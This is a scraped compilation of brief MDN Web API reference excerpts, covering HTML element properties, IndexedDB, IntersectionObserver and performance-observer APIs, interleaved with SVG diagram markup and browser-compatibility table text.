...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlmenuitemelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="midd...
HTMLElement.focus() - Web APIs
the focused element is the element which will receive keyboard and similar events by default.
... obsolete notes if you call htmlelement.focus() from a mousedown event handler, you must call event.preventdefault() to keep the focus from leaving the htmlelement behaviour of the focus in relation to different html features like tabindex or shadow dom, which previously remained under-specified, were recently updated (as october of 2019).
... checkout whatwg blog for more info.
HTMLOrForeignElement.tabIndex - Web APIs
they may even be negative, though each browser trims very large values.
... living standard no change from document object model (dom) level 2 html specification.
... obsolete no change from document object model (dom) level 1 specification.
HTMLOrForeignElement - Web APIs
each of these interfaces can, of course, add more features in addition to the ones listed below.
... propertiesdataset read only the dataset read-only property of the htmlorforeignelement interface provides read/write access to all the custom data attributes (data-*) set on the element.nonce the nonce property of the htmlorforeignelement interface returns the cryptographic number used once that is used by content security policy to determine whether a given fetch will be allowed to proceed.tabindexthe tabindex property of the htmlorforeignelement interface represents the tab order of the current element.methodsblur()the htmlelement.blur() method removes keyboard focus from the current element.focus()the htmlelement.focus() method sets focus on the specified element, if it can be focused.
... the focused element is the element which will receive keyboard and similar events by default.
HTMLPictureElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlpictureelement" target="_top"><rect x="311" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middl...
HTMLProgressElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlprogresselement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="midd...
HTMLSelectElement.autofocus - Web APIs
the htmlselectelement.autofocus property is a boolean that reflects the autofocus html attribute, which indicates whether the associated <select> element will get input focus when the page loads, unless the user overrides it.
...if there are several, the first element with the attribute set inserted, usually the first such element on the page, get the initial focus.
... syntaxedit abool = aselectelement.autofocus; // get the value of autofocus aselectelement.autofocus = abool; // set the value of autofocus example html <select id="myselect" autofocus> <option>option 1</option> <option>option 2</option> </select> javascript // check if the autofocus attribute on the <select> var hasautofocus = document.getelementbyid('myselect').autofocus; specifications specification status comment html living standardthe definition of 'autofocus' in that specification.
HTMLSourceElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlsourceelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle...
HTMLSpanElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlspanelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">...
HTMLStyleElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlstyleelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
HTMLTableElement.caption - Web APIs
living standard no change from html5 html5the definition of 'htmltableelement.caption' in that specification.
... recommendation no change from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'htmltableelement.caption' in that specification.
... obsolete no change from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'htmltableelement.caption' in that specification.
HTMLTableRowElement.insertCell() - Web APIs
the cell does not need to be appended separately with node.appendchild() as would be the case if document.createelement() had been used to create the new <td> element.
...(to be valid html, a <tr> must have at least one <td> element.) finally, we add some text to the cell using document.createtextnode() and node.appendchild().
... javascript function addrow(tableid) { // get a reference to the table let tableref = document.getelementbyid(tableid); // insert a row at the end of the table let newrow = tableref.insertrow(-1); // insert a cell in the row at index 0 let newcell = newrow.insertcell(0); // append a text node to the cell let newtext = document.createtextnode('new bottom row'); newcell.appendchild(newtext); } // call addrow() with the table's id addrow('my-table'); result specifications specification status comment html living standardthe definition of 'htmltablerowelement.insertcell()' in that specification.
HTMLTimeElement.dateTime - Web APIs
the htmltimeelement.datetime property is a domstring that reflects the datetime html attribute, containing a machine-readable form of the element's date and time value.
... living standard no change from html 5.1.
... recommendation no change from html5.
HTMLVideoElement.msIsLayoutOptimalForPlayback - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... msislayoutoptimalforplayback is a read-only property which indicates whether the video can be rendered more efficiently.
... you can listen to the onmsvideooptimallayoutchanged event to be notified when the msislayoutoptimalforplayback property changes.
HTMLVideoElement.msZoom - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... mszoom is a read/write property which gets or sets whether the video frame is trimmed, on the top and bottom or left and right, to fit the video display.
... if the native aspect ratio of a video frame, which is defined by the videowidth and videoheight attributes, does not match the aspect ratio of the video tag, which is defined by the width and height attributes, the video is rendered with letterbox or pillarbox format.
onMSVideoFrameStepCompleted - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... onmsvideoframestepcompleted is an event which occurs when the video frame has been stepped forward or backward one frame.
... syntax value description event property object.onmsvideoframestepcompleted = handler; attachevent method object.attachevent("onmsvideoframestepcompleted", handler) addeventlistener method object.addeventlistener("", handler, usecapture) event handler parameters val[in], type=function see also htmlvideoelement microsoft api extensions ...
History.go() - Web APIs
WebAPIHistorygo
this method is asynchronous.
... syntax history.go([delta]) parameters delta optional the position in the history to which you want to move, relative to the current page.
... living standard no change from html5.
History - Web APIs
WebAPIHistory
back() this asynchronous method goes to the previous page in session history, the same action as when the user clicks the browser's back button.
... forward() this asynchronous method goes to the next page in session history, the same action as when the user clicks the browser's forward button; this is equivalent to history.go(1).
... go() asynchronously loads a page from the session history, identified by its relative location to the current page, for example -1 for the previous page or 1 for the next page.
IDBDatabase.close() - Web APIs
WebAPIIDBDatabaseclose
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetclosechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendor ...
IDBDatabase.onabort - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonabortchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendo...
IDBDatabase.onerror - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonerrorchrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yeschrome android full support 25firefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support 1.5legend full support full support partial support partial supportrequires a vendor prefix or different name for use.requires a vendo...
IDBLocaleAwareKeyRange - Web APIs
this is because when you use bound(), it checks if lower bound < upper bound, and throws an exception if that’s not the case.
...the only difference between idbkeyrange and idblocaleawarekeyrange is that the latter doesn’t do the aforementioned check.
... + '&lt;td&gt;' + cursor.value.jtitle + '&lt;/td&gt;' + '&lt;td&gt;' + cursor.value.company + '&lt;/td&gt;' + '&lt;td&gt;' + cursor.value.email + '&lt;/td&gt;' + '&lt;td&gt;' + cursor.value.phone + '&lt;/td&gt;' + '&lt;td&gt;' + cursor.value.age + '&lt;/td&gt;'; tableentry.appendchild(tablerow); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications not currently part of any specification.
IDBObjectStore.autoIncrement - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetautoincrementchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung inter...
IDBObjectStore.getAll() - Web APIs
the getall() method of the idbobjectstore interface returns an idbrequest object containing all objects in the object store matching the specified parameter or all objects in the store if no parameters are given.
... the count() method with the same key, which will return 1 if the row exists and 0 if it doesn't.
... return value an idbrequest object on which subsequent events related to this operation are fired.
IDBObjectStore.indexNames - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetindexnameschrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
...— 57prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 25 full support 25 no support 25 — 57prefixed prefixed implemented with the vendor prefix: webkitfirefox android full support 22opera android full support 14safari ios full support 8samsung internet...
IDBOpenDBRequest - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/idbrequest" target="_top"><rect x="151" y="1" width="100" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="201" y="30" font-size="12px" font-family=...
..."consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbrequest</text></a><polyline points="251,25 261,20 261,30 251,25" stroke="#d4dde4" fill="none"/><line x1="261" y1="25" x2="291" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/idbopendbrequest" target="_top"><rect x="291" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbopendbrequest</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits methods from its parents idbrequest and eventtarget.
... blocked fired when an open connection to a database is blocking a versionchange transaction on the same database.
IDBRequest.onerror - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonerrorchrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.r...
IDBRequest.onsuccess - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonsuccesschrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use...
IDBRequest.result - Web APIs
WebAPIIDBRequestresult
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetresultchrome full support 24 full support 24 full support 23prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full support 16 no support 10 — 16prefixed prefixed implemented with the vendor prefix: mozie partial support 10opera full support ...
... 15safari full support 7webview android full support yeschrome android full support yesfirefox android full support 22opera android full support 14safari ios full support 8samsung internet android full support yeslegend full support full support partial support partial supportrequires a vendor prefix or different name for use.re...
IDBTransaction.objectStoreNames - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobjectstorenameschrome full support 48edge full support ≤79firefox full support yesie ?
... opera full support 35safari full support yeswebview android full support 48chrome android full support 48firefox android full support yesopera android full support 35safari ios full support yessamsung internet android full support 5.0legend full support full support compatibility unknown ...
ImageData.data - Web APIs
WebAPIImageDatadata
the data array stores four values for each pixel, making 4 x 10,000, or 40,000 values in all.
... html <canvas id="canvas"></canvas> javascript since each pixel consists of four values within the data array, the for loop iterates by multiples of four.
... the values associated with each pixel are r (red), g (green), b (blue), and a (alpha), in that order.
InputEvent.data - Web APIs
WebAPIInputEventdata
the data read-only property of the inputevent interface returns a domstring with the inserted characters.
... this may be an empty string if the change doesn't insert text (such as when deleting characters, for example).
... examples in the following simple example we've set up an event listener on the input event so that when any change is made to the contents of the <input> element (either by typing or pasting), the text that was added is retrieved via the inputevent.data property and reported in the paragraph below the input.
InputEvent.inputType - Web APIs
the inputtype read-only property of the inputevent interface returns the type of change made to editible content.
... possible changes include for example inserting, deleting, and formatting text.
...there are many possible values, such as inserttext, deletecontentbackward, insertfrompaste, and formatbold.
IntersectionObserver.root - Web APIs
the intersectionobserver interface's read-only root property identifies the element or document whose bounds are treated as the bounding box of the viewport for the element which is the observer's target.
... syntax var root = intersectionobserver.root; value a element or document object whose bounding box is used as the bounds of the viewport for the purposes of determining how much of the target element is visible.
... the intersection of this bounding rectangle, offset by any margins specified in the options passed to the intersectionobserver() constructor, the target element's bounds, minus the bounds of every element or other object which overlaps the target element, is considered to be the visible area of the target element.
IntersectionObserver.rootMargin - Web APIs
each side of the rectangle represented by rootmargin is added to the corresponding side in the root element's bounding box before the intersection test is performed.
... syntax var marginstring = intersectionobserver.rootmargin; value a string, formatted similarly to the css margin property's value, which contains offsets for one or more sides of the root's bounding box.
... the string returned by this property may not match the one specified when the intersectionobserver was instantiated.
IntersectionObserver.takeRecords() - Web APIs
the intersectionobserver method takerecords() returns an array of intersectionobserverentry objects, one for each targeted element which has experienced an intersection change since the last time the intersections were checked, either explicitly through a call to this method or implicitly by an automatic call to the observer's callback.
... note: if you use the callback to monitor these changes, you don't need to call this method.
... return value an array of intersectionobserverentry objects, one for each target element whose intersection with the root has changed since the last time the intersections were checked.
IntersectionObserverEntry.isIntersecting - Web APIs
the intersectionobserverentry interface's read-only isintersecting property is a boolean value which is true if the target element intersects with the intersection observer's root.
... syntax var isintersecting = intersectionobserverentry.isintersecting; value a boolean value which indicates whether the target element has transitioned into a state of intersection (true) or out of a state of intersection (false).
... function intersectioncallback(entries) { entries.foreach(function(entry) { if (entry.isintersecting) { intersectingcount += 1; } else { intersectingcount -= 1; } }); } to see a more concrete example, take a look at handling intersection changes in timing element visibility with the intersection observer api.
IntersectionObserverEntry.time - Web APIs
the intersectionobserverentry interface's read-only time property is a domhighrestimestamp that indicates the time at which the intersection change occurred relative to the time at which the document was created.
... syntax var time = intersectionobserverentry.time; value a domhighrestimestamp which indicates the time at which the target element experienced the intersection change described by the intersectionobserverentry.
... example see timing element visibility with the intersection observer api for a complete example which uses the time property to track how long elements are visible to the user.
IntersectionObserverEntry - Web APIs
intersectionobserverentry.isintersecting read only a boolean value which is true if the target element intersects with the intersection observer's root.
... intersectionobserverentry.target read only the element whose intersection with the root changed.
... intersectionobserverentry.time read only a domhighrestimestamp indicating the time at which the intersection was recorded, relative to the intersectionobserver's time origin.
KeyboardEvent.keyCode - Web APIs
unfortunately, some browsers still don't have it, so you'll have to be careful to make sure you use one which is supported on all target browsers.
... web developers shouldn't use the keycode attribute for printable characters when handling keydown and keyup events.
... as described above, the keycode attribute is not useful for printable characters, especially those input with the shift or alt key pressed.
LargestContentfulPaint - Web APIs
this example also demonstrates how to include buffered entries (those that ocurred before observer() was called), which is done by setting the buffered option to true.
... // catch errors since some browsers throw when using the new `type` option.
... addeventlistener('visibilitychange', function fn() { if (lcp && document.visibilitystate === 'hidden') { console.log('lcp:', lcp); removeeventlistener('visibilitychange', fn, true); } }, true); } catch (e) { // do nothing if the browser doesn't support this api.
LayoutShift - Web APIs
// catch errors since some browsers throw when using the new `type` option.
... if (!entry.hadrecentinput) { cumulativelayoutshiftscore += entry.value; } } }); observer.observe({type: 'layout-shift', buffered: true}); document.addeventlistener('visibilitychange', () => { if (document.visibilitystate === 'hidden') { // force any pending records to be dispatched.
... observer.takerecords(); observer.disconnect(); console.log('cls:', cumulativelayoutshiftscore); } }); } catch (e) { // do nothing if the browser doesn't support this api.
MSSiteModeEvent - Web APIs
there may also be large incompatibilities between implementations and the behavior may change in the future.
... dom information inheritance hierarchy event mssitemodeevent methods method description initevent initializes a new generic event that the createevent method created.
... srcelement gets the element that the event was originally dispatched to.
MediaCapabilities.decodingInfo() - Web APIs
